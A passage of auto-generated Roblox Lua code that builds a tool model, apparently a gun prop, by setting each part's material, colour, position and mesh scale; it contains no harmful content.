  2543. Part191.Material = Enum.Material.SmoothPlastic
  2544. Part191.BrickColor = BrickColor.new("Black")
  2545. Part191.Rotation = Vector3.new(-180, -89.4599991, -150)
  2546. Part191.Anchored = true
  2547. Part191.FormFactor = Enum.FormFactor.Custom
  2548. Part191.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2549. Part191.CFrame = CFrame.new(27.0799561, 1.04418898, 139.736389, -0.00813286006, 0.00469568372, -0.999955893, 0.500007272, 0.866015971, 4.37111254e-08, 0.865977407, -0.499985069, -0.00939150155)
  2550. Part191.BottomSurface = Enum.SurfaceType.Smooth
  2551. Part191.TopSurface = Enum.SurfaceType.Smooth
  2552. Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2553. Part191.Position = Vector3.new(27.0799561, 1.04418898, 139.736389)
  2554. Part191.Orientation = Vector3.new(0, -90.5400009, 30)
  2555. Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2556. BlockMesh192.Parent = Part191
  2557. BlockMesh192.Offset = Vector3.new(0.0299999993, 0.00374999992, 0)
  2558. BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
  2559. BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
  2560. Part193.Parent = Tool0
  2561. Part193.Material = Enum.Material.SmoothPlastic
  2562. Part193.BrickColor = BrickColor.new("Really black")
  2563. Part193.Rotation = Vector3.new(0, 89.4599991, -90)
  2564. Part193.Anchored = true
  2565. Part193.FormFactor = Enum.FormFactor.Custom
  2566. Part193.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2567. Part193.CFrame = CFrame.new(27.3004169, 1.39013696, 140.196228, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2568. Part193.BottomSurface = Enum.SurfaceType.Smooth
  2569. Part193.TopSurface = Enum.SurfaceType.Smooth
  2570. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2571. Part193.Position = Vector3.new(27.3004169, 1.39013696, 140.196228)
  2572. Part193.Orientation = Vector3.new(0, 89.4599991, -90)
  2573. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2574. CylinderMesh194.Parent = Part193
  2575. CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
  2576. CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
  2577. Part195.Parent = Tool0
  2578. Part195.Material = Enum.Material.SmoothPlastic
  2579. Part195.BrickColor = BrickColor.new("Black")
  2580. Part195.Rotation = Vector3.new(-180, 0.539999962, 90)
  2581. Part195.Anchored = true
  2582. Part195.FormFactor = Enum.FormFactor.Custom
  2583. Part195.Size = Vector3.new(0.371999979, 0.200000003, 0.449999988)
  2584. Part195.CFrame = CFrame.new(27.3028564, 1.26708996, 139.914368, -4.35706298e-08, -0.999955893, 0.00939145684, -0.99999994, 4.37113812e-08, 1.4781123e-08, -1.51909649e-08, -0.00939150155, -0.999955773)
  2585. Part195.BottomSurface = Enum.SurfaceType.Smooth
  2586. Part195.TopSurface = Enum.SurfaceType.Smooth
  2587. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2588. Part195.Position = Vector3.new(27.3028564, 1.26708996, 139.914368)
  2589. Part195.Orientation = Vector3.new(0, 179.459991, -90)
  2590. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2591. BlockMesh196.Parent = Part195
  2592. BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
  2593. BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
  2594. Part197.Parent = Tool0
  2595. Part197.Material = Enum.Material.SmoothPlastic
  2596. Part197.BrickColor = BrickColor.new("Black")
  2597. Part197.Rotation = Vector3.new(0, 89.4599991, -90)
  2598. Part197.Anchored = true
  2599. Part197.FormFactor = Enum.FormFactor.Custom
  2600. Part197.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2601. Part197.CFrame = CFrame.new(27.3007813, 1.39013696, 140.166199, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2602. Part197.BottomSurface = Enum.SurfaceType.Smooth
  2603. Part197.TopSurface = Enum.SurfaceType.Smooth
  2604. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2605. Part197.Position = Vector3.new(27.3007813, 1.39013696, 140.166199)
  2606. Part197.Orientation = Vector3.new(0, 89.4599991, -90)
  2607. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2608. CylinderMesh198.Parent = Part197
  2609. CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
  2610. CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
  2611. Part199.Parent = Tool0
  2612. Part199.Material = Enum.Material.SmoothPlastic
  2613. Part199.BrickColor = BrickColor.new("Black")
  2614. Part199.Rotation = Vector3.new(0, 89.4599991, -90)
  2615. Part199.Anchored = true
  2616. Part199.FormFactor = Enum.FormFactor.Custom
  2617. Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2618. Part199.CFrame = CFrame.new(27.3005371, 1.15014601, 140.148193, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2619. Part199.BottomSurface = Enum.SurfaceType.Smooth
  2620. Part199.TopSurface = Enum.SurfaceType.Smooth
  2621. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2622. Part199.Position = Vector3.new(27.3005371, 1.15014601, 140.148193)
  2623. Part199.Orientation = Vector3.new(0, 89.4599991, -90)
  2624. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2625. CylinderMesh200.Parent = Part199
  2626. CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2627. CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2628. Part201.Parent = Tool0
  2629. Part201.Material = Enum.Material.SmoothPlastic
  2630. Part201.BrickColor = BrickColor.new("Black")
  2631. Part201.Rotation = Vector3.new(0, 89.4599991, -90)
  2632. Part201.Anchored = true
  2633. Part201.FormFactor = Enum.FormFactor.Custom
  2634. Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2635. Part201.CFrame = CFrame.new(27.3052979, 1.38427699, 139.680054, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2636. Part201.BottomSurface = Enum.SurfaceType.Smooth
  2637. Part201.TopSurface = Enum.SurfaceType.Smooth
  2638. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2639. Part201.Position = Vector3.new(27.3052979, 1.38427699, 139.680054)
  2640. Part201.Orientation = Vector3.new(0, 89.4599991, -90)
  2641. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2642. Decal202.Parent = Part201
  2643. Decal202.Texture = "http://www.roblox.com/asset/?id=65628034"
  2644. Decal202.Face = Enum.NormalId.Bottom
  2645. CylinderMesh203.Parent = Part201
  2646. CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2647. CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2648. Part204.Parent = Tool0
  2649. Part204.Material = Enum.Material.SmoothPlastic
  2650. Part204.BrickColor = BrickColor.new("Black")
  2651. Part204.Reflectance = 0.050000000745058
  2652. Part204.Rotation = Vector3.new(0, 89.4599991, -180)
  2653. Part204.Anchored = true
  2654. Part204.FormFactor = Enum.FormFactor.Custom
  2655. Part204.Size = Vector3.new(0.209999993, 0.396000028, 0.200000003)
  2656. Part204.CFrame = CFrame.new(27.0994873, 1.12011695, 137.605225, -0.00939130783, 4.48289548e-08, 0.999955833, -1.19209247e-07, -0.999999404, 4.37113883e-08, 0.999954998, -1.18793444e-07, 0.00939165056)
  2657. Part204.BottomSurface = Enum.SurfaceType.Smooth
  2658. Part204.TopSurface = Enum.SurfaceType.Smooth
  2659. Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2660. Part204.Position = Vector3.new(27.0994873, 1.12011695, 137.605225)
  2661. Part204.Orientation = Vector3.new(0, 89.4599991, -180)
  2662. Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2663. CylinderMesh205.Parent = Part204
  2664. CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
  2665. CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
  2666. Part206.Parent = Tool0
  2667. Part206.Material = Enum.Material.SmoothPlastic
  2668. Part206.BrickColor = BrickColor.new("Black")
  2669. Part206.Reflectance = 0.050000000745058
  2670. Part206.Rotation = Vector3.new(-180, 0.539999962, 0)
  2671. Part206.Anchored = true
  2672. Part206.FormFactor = Enum.FormFactor.Custom
  2673. Part206.Size = Vector3.new(0.200000003, 0.209999993, 0.200000003)
  2674. Part206.CFrame = CFrame.new(27.1021729, 0.943114996, 137.335159, 0.999955833, 0, 0.00939165056, 0, -1, 0, 0.00939165056, 0, -0.999955833)
  2675. Part206.BottomSurface = Enum.SurfaceType.Smooth
  2676. Part206.TopSurface = Enum.SurfaceType.Smooth
  2677. Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2678. Part206.Position = Vector3.new(27.1021729, 0.943114996, 137.335159)
  2679. Part206.Orientation = Vector3.new(0, 179.459991, 180)
  2680. Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2681. SpecialMesh207.Parent = Part206
  2682. SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
  2683. SpecialMesh207.MeshType = Enum.MeshType.Wedge
  2684. SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
  2685. Part208.Parent = Tool0
  2686. Part208.Material = Enum.Material.SmoothPlastic
  2687. Part208.BrickColor = BrickColor.new("Black")
  2688. Part208.Reflectance = 0.050000000745058
  2689. Part208.Rotation = Vector3.new(-102.919998, 1.46999991, 173.62999)
  2690. Part208.Anchored = true
  2691. Part208.FormFactor = Enum.FormFactor.Custom
  2692. Part208.Size = Vector3.new(0.200000003, 0.252000004, 0.200000003)
  2693. Part208.CFrame = CFrame.new(27.1033936, 0.812255979, 137.199951, -0.99349612, -0.110945165, 0.0256136917, -3.66314552e-08, 0.22495088, 0.974369586, -0.113863662, 0.968032122, -0.223487809)
  2694. Part208.BottomSurface = Enum.SurfaceType.Smooth
  2695. Part208.TopSurface = Enum.SurfaceType.Smooth
  2696. Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2697. Part208.Position = Vector3.new(27.1033936, 0.812255979, 137.199951)
  2698. Part208.Orientation = Vector3.new(-77, 173.459991, 0)
  2699. Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2700. SpecialMesh209.Parent = Part208
  2701. SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
  2702. SpecialMesh209.MeshType = Enum.MeshType.Wedge
  2703. SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
  2704. Part210.Parent = Tool0
  2705. Part210.Material = Enum.Material.SmoothPlastic
  2706. Part210.BrickColor = BrickColor.new("Brick yellow")
  2707. Part210.Reflectance = 0.050000000745058
  2708. Part210.Rotation = Vector3.new(180, -89.4599991, -90)
  2709. Part210.Anchored = true
  2710. Part210.FormFactor = Enum.FormFactor.Custom
  2711. Part210.Size = Vector3.new(0.200000003, 0.972000062, 0.270000011)
  2712. Part210.CFrame = CFrame.new(27.1000977, 1.24316394, 137.539001, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
  2713. Part210.BottomSurface = Enum.SurfaceType.Smooth
  2714. Part210.TopSurface = Enum.SurfaceType.Smooth
  2715. Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2716. Part210.Position = Vector3.new(27.1000977, 1.24316394, 137.539001)
  2717. Part210.Orientation = Vector3.new(0, -90.5400009, 90)
  2718. Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2719. CylinderMesh211.Parent = Part210
  2720. CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
  2721. CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
  2722. Part212.Parent = Tool0
  2723. Part212.Material = Enum.Material.SmoothPlastic
  2724. Part212.BrickColor = BrickColor.new("Brick yellow")
  2725. Part212.Reflectance = 0.050000000745058
  2726. Part212.Rotation = Vector3.new(-180, 0.539999962, 180)
  2727. Part212.Anchored = true
  2728. Part212.FormFactor = Enum.FormFactor.Custom
  2729. Part212.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  2730. Part212.CFrame = CFrame.new(27.1049805, 0.982177973, 137.038269, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2731. Part212.BottomSurface = Enum.SurfaceType.Smooth
  2732. Part212.TopSurface = Enum.SurfaceType.Smooth
  2733. Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2734. Part212.Position = Vector3.new(27.1049805, 0.982177973, 137.038269)
  2735. Part212.Orientation = Vector3.new(0, 179.459991, 0)
  2736. Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2737. BlockMesh213.Parent = Part212
  2738. BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
  2739. BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
  2740. Part214.Parent = Tool0
  2741. Part214.Material = Enum.Material.SmoothPlastic
  2742. Part214.BrickColor = BrickColor.new("Black")
  2743. Part214.Reflectance = 0.050000000745058
  2744. Part214.Rotation = Vector3.new(-180, 0.539999962, 180)
  2745. Part214.Anchored = true
  2746. Part214.FormFactor = Enum.FormFactor.Custom
  2747. Part214.Size = Vector3.new(0.200000003, 0.216000006, 0.200000003)
  2748. Part214.CFrame = CFrame.new(27.104126, 0.940186024, 137.125427, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2749. Part214.BottomSurface = Enum.SurfaceType.Smooth
  2750. Part214.TopSurface = Enum.SurfaceType.Smooth
  2751. Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2752. Part214.Position = Vector3.new(27.104126, 0.940186024, 137.125427)
  2753. Part214.Orientation = Vector3.new(0, 179.459991, 0)
  2754. Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2755. BlockMesh215.Parent = Part214
  2756. BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
  2757. BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
  2758. Part216.Parent = Tool0
  2759. Part216.Material = Enum.Material.SmoothPlastic
  2760. Part216.BrickColor = BrickColor.new("Brick yellow")
  2761. Part216.Reflectance = 0.050000000745058
  2762. Part216.Rotation = Vector3.new(180, -89.4599991, -90)
  2763. Part216.Anchored = true
  2764. Part216.FormFactor = Enum.FormFactor.Custom
  2765. Part216.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2766. Part216.CFrame = CFrame.new(27.1051025, 0.727294981, 137.041504, -4.398931e-08, 0.00939130783, -0.999955833, 0.999999404, 2.98023117e-08, -4.37113883e-08, 2.93904776e-08, -0.999954998, -0.00939165056)
  2767. Part216.BottomSurface = Enum.SurfaceType.Smooth
  2768. Part216.TopSurface = Enum.SurfaceType.Smooth
  2769. Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2770. Part216.Position = Vector3.new(27.1051025, 0.727294981, 137.041504)
  2771. Part216.Orientation = Vector3.new(0, -90.5400009, 90)
  2772. Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2773. CylinderMesh217.Parent = Part216
  2774. CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
  2775. CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
  2776. Part218.Parent = Tool0
  2777. Part218.Material = Enum.Material.SmoothPlastic
  2778. Part218.BrickColor = BrickColor.new("Black")
  2779. Part218.Reflectance = 0.050000000745058
  2780. Part218.Rotation = Vector3.new(135, 0.379999995, -179.619995)
  2781. Part218.Anchored = true
  2782. Part218.FormFactor = Enum.FormFactor.Custom
  2783. Part218.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
  2784. Part218.CFrame = CFrame.new(27.1015625, 0.95214802, 137.403931, -0.999955833, 0.0066408813, 0.0066409111, -4.37113883e-08, 0.707106292, -0.707106292, -0.00939165056, -0.707075179, -0.707075119)
  2785. Part218.BottomSurface = Enum.SurfaceType.Smooth
  2786. Part218.TopSurface = Enum.SurfaceType.Smooth
  2787. Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2788. Part218.Position = Vector3.new(27.1015625, 0.95214802, 137.403931)
  2789. Part218.Orientation = Vector3.new(45, 179.459991, 0)
  2790. Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2791. BlockMesh219.Parent = Part218
  2792. BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
  2793. BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
  2794. Part220.Parent = Tool0
  2795. Part220.Material = Enum.Material.SmoothPlastic
  2796. Part220.BrickColor = BrickColor.new("Black")
  2797. Part220.Reflectance = 0.050000000745058
  2798. Part220.Rotation = Vector3.new(-180, 0.539999962, 180)
  2799. Part220.Anchored = true
  2800. Part220.FormFactor = Enum.FormFactor.Custom
  2801. Part220.Size = Vector3.new(0.200000003, 0.200000003, 0.720000029)
  2802. Part220.CFrame = CFrame.new(27.1015625, 1.06909204, 137.4104, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2803. Part220.BottomSurface = Enum.SurfaceType.Smooth
  2804. Part220.TopSurface = Enum.SurfaceType.Smooth
  2805. Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2806. Part220.Position = Vector3.new(27.1015625, 1.06909204, 137.4104)
  2807. Part220.Orientation = Vector3.new(0, 179.459991, 0)
  2808. Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2809. BlockMesh221.Parent = Part220
  2810. BlockMesh221.Offset = Vector3.new(0, 0, 0.00300000003)
  2811. BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
  2812. BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
  2813. Part222.Parent = Tool0
  2814. Part222.Material = Enum.Material.SmoothPlastic
  2815. Part222.BrickColor = BrickColor.new("Black")
  2816. Part222.Reflectance = 0.050000000745058
  2817. Part222.Rotation = Vector3.new(-180, 0.539999962, 180)
  2818. Part222.Anchored = true
  2819. Part222.FormFactor = Enum.FormFactor.Custom
  2820. Part222.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
  2821. Part222.CFrame = CFrame.new(27.0994873, 1.04223597, 137.620071, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2822. Part222.BottomSurface = Enum.SurfaceType.Smooth
  2823. Part222.TopSurface = Enum.SurfaceType.Smooth
  2824. Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2825. Part222.Position = Vector3.new(27.0994873, 1.04223597, 137.620071)
  2826. Part222.Orientation = Vector3.new(0, 179.459991, 0)
  2827. Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2828. BlockMesh223.Parent = Part222
  2829. BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
  2830. BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
  2831. Part224.Parent = Tool0
  2832. Part224.Material = Enum.Material.SmoothPlastic
  2833. Part224.BrickColor = BrickColor.new("Black")
  2834. Part224.Reflectance = 0.050000000745058
  2835. Part224.Rotation = Vector3.new(180, 0.539999962, 180)
  2836. Part224.Anchored = true
  2837. Part224.FormFactor = Enum.FormFactor.Custom
  2838. Part224.Size = Vector3.new(0.200000003, 0.200000003, 0.540000021)
  2839. Part224.CFrame = CFrame.new(27.1009521, 1.10815406, 137.500504, -0.999955297, -4.35694645e-08, 0.00939142704, -4.37113741e-08, 0.999999106, -1.49011612e-08, -0.00939147174, -1.53110111e-08, -0.99995476)
  2840. Part224.BottomSurface = Enum.SurfaceType.Smooth
  2841. Part224.TopSurface = Enum.SurfaceType.Smooth
  2842. Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2843. Part224.Position = Vector3.new(27.1009521, 1.10815406, 137.500504)
  2844. Part224.Orientation = Vector3.new(0, 179.459991, 0)
  2845. Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2846. BlockMesh225.Parent = Part224
  2847. BlockMesh225.Offset = Vector3.new(0, 0, 0.00300000003)
  2848. BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
  2849. BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
  2850. Part226.Parent = Tool0
  2851. Part226.Material = Enum.Material.SmoothPlastic
  2852. Part226.BrickColor = BrickColor.new("Brick yellow")
  2853. Part226.Reflectance = 0.050000000745058
  2854. Part226.Rotation = Vector3.new(0, 89.4599991, -180)
  2855. Part226.Anchored = true
  2856. Part226.FormFactor = Enum.FormFactor.Custom
  2857. Part226.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  2858. Part226.CFrame = CFrame.new(26.9997559, 0.982177973, 137.037064, -0.00939130783, 4.398931e-08, 0.999955833, -2.98023117e-08, -0.999999404, 4.37113883e-08, 0.999954998, -2.93904776e-08, 0.00939165056)
  2859. Part226.BottomSurface = Enum.SurfaceType.Smooth
  2860. Part226.TopSurface = Enum.SurfaceType.Smooth
  2861. Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2862. Part226.Position = Vector3.new(26.9997559, 0.982177973, 137.037064)
  2863. Part226.Orientation = Vector3.new(0, 89.4599991, -180)
  2864. Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2865. SpecialMesh227.Parent = Part226
  2866. SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  2867. SpecialMesh227.MeshType = Enum.MeshType.Wedge
  2868. SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  2869. Part228.Parent = Tool0
  2870. Part228.Material = Enum.Material.SmoothPlastic
  2871. Part228.BrickColor = BrickColor.new("Black")
  2872. Part228.Reflectance = 0.050000000745058
  2873. Part228.Rotation = Vector3.new(-90, 0, 179.459991)
  2874. Part228.Anchored = true
  2875. Part228.FormFactor = Enum.FormFactor.Custom
  2876. Part228.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
  2877. Part228.CFrame = CFrame.new(27.0190411, 1.24609399, 139.761414, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  2878. Part228.BottomSurface = Enum.SurfaceType.Smooth
  2879. Part228.TopSurface = Enum.SurfaceType.Smooth
  2880. Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2881. Part228.Position = Vector3.new(27.0190411, 1.24609399, 139.761414)
  2882. Part228.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  2883. Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2884. CylinderMesh229.Parent = Part228
  2885. CylinderMesh229.Offset = Vector3.new(0, -0.00239999988, 0)
  2886. CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  2887. CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  2888. Part230.Parent = Tool0
  2889. Part230.Material = Enum.Material.SmoothPlastic
  2890. Part230.BrickColor = BrickColor.new("Brick yellow")
  2891. Part230.Rotation = Vector3.new(-180, 0.539999962, -180)
  2892. Part230.Anchored = true
  2893. Part230.FormFactor = Enum.FormFactor.Custom
  2894. Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
  2895. Part230.CFrame = CFrame.new(26.8995361, 1.26122999, 139.760315, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  2896. Part230.BottomSurface = Enum.SurfaceType.Smooth
  2897. Part230.TopSurface = Enum.SurfaceType.Smooth
  2898. Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2899. Part230.Position = Vector3.new(26.8995361, 1.26122999, 139.760315)
  2900. Part230.Orientation = Vector3.new(0, 179.459991, 0)
  2901. Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2902. BlockMesh231.Parent = Part230
  2903. BlockMesh231.Offset = Vector3.new(-0.0149999997, 0, 0)
  2904. BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  2905. BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  2906. Part232.Parent = Tool0
  2907. Part232.Material = Enum.Material.SmoothPlastic
  2908. Part232.BrickColor = BrickColor.new("Brick yellow")
  2909. Part232.Reflectance = 0.050000000745058
  2910. Part232.Rotation = Vector3.new(180, -89.4599991, 0)
  2911. Part232.Anchored = true
  2912. Part232.FormFactor = Enum.FormFactor.Custom
  2913. Part232.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  2914. Part232.CFrame = CFrame.new(27.2097168, 0.988281012, 137.039001, 0.00939130783, 4.398931e-08, -0.999955833, 2.98023117e-08, -0.999999404, -4.37113883e-08, -0.999954998, -2.93904776e-08, -0.00939165056)
  2915. Part232.BottomSurface = Enum.SurfaceType.Smooth
  2916. Part232.TopSurface = Enum.SurfaceType.Smooth
  2917. Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2918. Part232.Position = Vector3.new(27.2097168, 0.988281012, 137.039001)
  2919. Part232.Orientation = Vector3.new(0, -90.5400009, 180)
  2920. Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2921. SpecialMesh233.Parent = Part232
  2922. SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  2923. SpecialMesh233.MeshType = Enum.MeshType.Wedge
  2924. SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  2925. Part234.Parent = Tool0
  2926. Part234.Material = Enum.Material.SmoothPlastic
  2927. Part234.BrickColor = BrickColor.new("Black")
  2928. Part234.Reflectance = 0.050000000745058
  2929. Part234.Rotation = Vector3.new(180, -89.4599991, -90)
  2930. Part234.Anchored = true
  2931. Part234.FormFactor = Enum.FormFactor.Custom
  2932. Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.270000011)
  2933. Part234.CFrame = CFrame.new(27.0954571, 1.273193, 138.040222, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
  2934. Part234.BottomSurface = Enum.SurfaceType.Smooth
  2935. Part234.TopSurface = Enum.SurfaceType.Smooth
  2936. Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2937. Part234.Position = Vector3.new(27.0954571, 1.273193, 138.040222)
  2938. Part234.Orientation = Vector3.new(0, -90.5400009, 90)
  2939. Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2940. CylinderMesh235.Parent = Part234
  2941. CylinderMesh235.Offset = Vector3.new(-0.00600000005, 0, 0)
  2942. CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
  2943. CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
  2944. Part236.Parent = Tool0
  2945. Part236.Material = Enum.Material.SmoothPlastic
  2946. Part236.BrickColor = BrickColor.new("Black")
  2947. Part236.Reflectance = 0.050000000745058
  2948. Part236.Rotation = Vector3.new(-180, 0.539999962, 180)
  2949. Part236.Anchored = true
  2950. Part236.FormFactor = Enum.FormFactor.Custom
  2951. Part236.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2952. Part236.CFrame = CFrame.new(27.1049805, 1.12329102, 137.056335, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2953. Part236.BottomSurface = Enum.SurfaceType.Smooth
  2954. Part236.TopSurface = Enum.SurfaceType.Smooth
  2955. Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2956. Part236.Position = Vector3.new(27.1049805, 1.12329102, 137.056335)
  2957. Part236.Orientation = Vector3.new(0, 179.459991, 0)
  2958. Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2959. BlockMesh237.Parent = Part236
  2960. BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
  2961. BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
  2962. Part238.Parent = Tool0
  2963. Part238.Material = Enum.Material.SmoothPlastic
  2964. Part238.BrickColor = BrickColor.new("Brick yellow")
  2965. Part238.Reflectance = 0.050000000745058
  2966. Part238.Rotation = Vector3.new(180, -89.4499969, -90)
  2967. Part238.Anchored = true
  2968. Part238.FormFactor = Enum.FormFactor.Custom
  2969. Part238.Size = Vector3.new(0.270000011, 0.200000003, 0.270000011)
